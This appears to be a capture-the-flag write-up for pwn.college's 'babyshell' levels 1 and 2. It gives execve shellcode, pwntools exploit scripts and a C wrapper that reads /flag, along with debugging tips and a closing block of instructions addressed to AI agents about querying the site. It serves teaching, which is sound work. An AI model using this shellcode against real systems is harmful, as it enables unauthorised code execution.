# babyshell

## Notes

### Online Shellcode Assembler/Disassembler

<https://defuse.ca/online-x86-assembler.htm>

### The `catflag` C Wrapper

In this series of challenges, our objective is to read `/flag`. We need to make the following two syscalls consecutively:

1. Call `open("/flag", 0)`.
2. Use the result from step 1 to call `sendfile(1, open("/flag", 0), 0, 1000)`.

To simplify our shellcode, we can combine these two steps into a C wrapper:

```c
// catflag.c
void main()
{
    sendfile(1, open("/flag", 0), 0, 1000);
}
```

Compile it:

```bash
gcc catflag.c -o \;
```

Why name this file a special character `;`? The ASCII number for `;` is `59` in decimal, which is just the syscall number of `execve`. In our shellcode, there will always be `mov al, 59`. By naming catflag as `;`, we could utilize rax for two purposes at the same time: syscall number and filename.

### Writing Shellcode

#### **Method 1: Pwntools (Connor's Method)**

For example:

```python
#!/usr/bin/env python3
from pwn import *

elf = ELF("/babyshell_level1_teaching1", checksec=False)
context(arch="amd64", os="linux")

shellcode = asm("""
    mov rax, 59
    push rax
    mov rdi, rsp 
    mov rsi, 0
    mov rdx, 0
    syscall
""")


p = elf.process()
p.sendline(shellcode)
p.interactive()
```

#### **Method 2: Manually (Yan's Method)**

Compile the shellcode source `shellcode.s` into raw bytes:

```bash
gcc -nostdlib -static shellcode.s -o shellcode-elf
objcopy --dump-section .text=shellcode shellcode-elf
```

We can create an alias to make life easier. Add the following line to `~/.bashrc`:

```bash
# babyshell
alias compile="gcc -nostdlib -static shellcode.s -o shellcode-elf ; objcopy --dump-section .text=shellcode shellcode-elf"
```

Reload `~/.bashrc`:

```bash
source ~/.bashrc
```

Now if you want to compile shellcode, simply type `compile` inside the `babyshell` directory.

Run the shellcode:

```bash
/babyshell_level<number>_<teaching/testing>1 < shellcode
```

For debugging purposes, to get the disassembly of the shellcode:

```bash
gcc -nostdlib -static shellcode.s -o shellcode-elf
objdump -M intel -d shellcode-elf
```

Similarly, add the following line to `~/.bashrc`:

```bash
alias debug="gcc -nostdlib -static shellcode.s -o shellcode-elf ; objdump -M intel -d shellcode-elf | tee shellcode-debug"
```

Reload `~/.bashrc`:

```bash
source ~/.bashrc
```

Now if you want to check the disassembly of the shellcode, simply type `debug` inside the `babyshell` directory.

Examine system calls:

```bash
$ strace /babyshell_level<number>_<teaching/testing>1 < shellcode
```

#### Breakpoint

In some levels, we need to examine the registers at the moment of shellcode execution. This can be done with the `int 3` instruction, which sets a breakpoint in GDB:

```python
#!/usr/bin/env python3
from pwn import *

"""
breakpoint.py

Sets a braekpoint in GDB for examining registers
when shellcode gets executed.
"""

context.arch="amd64"

shellcode = asm("""
    int 3
""")

with open("breakpoint", "wb") as f:
        f.write(shellcode)
```

To run it:

```bash
$ gdb /babyshell_level<number>_teaching1
...
(gdb) r < breakpoint
...
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000001337001 in ?? ()
```

### Utilizing Register States

By inserting the `int 3` shellcode as breakpoint, we could examine the registers at the moment of shellcode execution. For example, in `level1_teaching1`, the registers are in the following state:

![Level 1 Register States](https://i.imgur.com/1bJiCp0.png)

Utilizing those values that already reside in the registers is crucial for some of the levels in this assignment.

## Level 1

### Challenge

![Level 1](https://i.imgur.com/uqvTKVy.png)

### Solution

Write a program named `catflag.c` which is a wrapper for calling `sendfile()`:

```c
// catflag.c
void main()
{
        sendfile(1, open("/flag", 0), 0, 1000);
}
```

This wrapper is needed because it simplifies the shellcoding process a lot. Compile it and name it as `;`:

```
gcc catflag.c -o \;
```

This weird naming would further simplify our shellcode: the ascii value of `;` equals the syscall number of `execve`, which is 59.

Our objective is calling `execve(catflag_pathname, 0, 0)`. To achieve this objective, our shellcode should do the following things:

1. Set rax to 59. This is used for the syscall number and the C wrapper filename at the same time.
2. Push rax onto the stack, so that rsp now contains the **address** of 59. Give this address to rdi.
3. Zero out rsi and rdx.
4. Invoke syscall.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

elf = ELF("/challenge/babyshell_level1")
context.arch="amd64"

shellcode = asm("""
    mov rax, 59
    push rax
    mov rdi, rsp 
    mov rsi, 0
    mov rdx, 0
    syscall
""")

p = elf.process()
p.sendline(shellcode)
p.interactive()
```

## Level 2

### Challenge

![Level 2](https://i.imgur.com/69MU8Ke.png)

### Solution

This level can be solved with the same shellcode as in Level 1.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

elf = ELF("/challenge/babyshell_level2")
context.arch="amd64"

shellcode = asm("""
    mov rax, 59
    push rax
    mov rdi, rsp 
    mov rsi, 0
    mov rdx, 0
    syscall
""")

p = elf.process()
p.sendline(shellcode)
p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/pwn.college/shellcoding/babyshell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
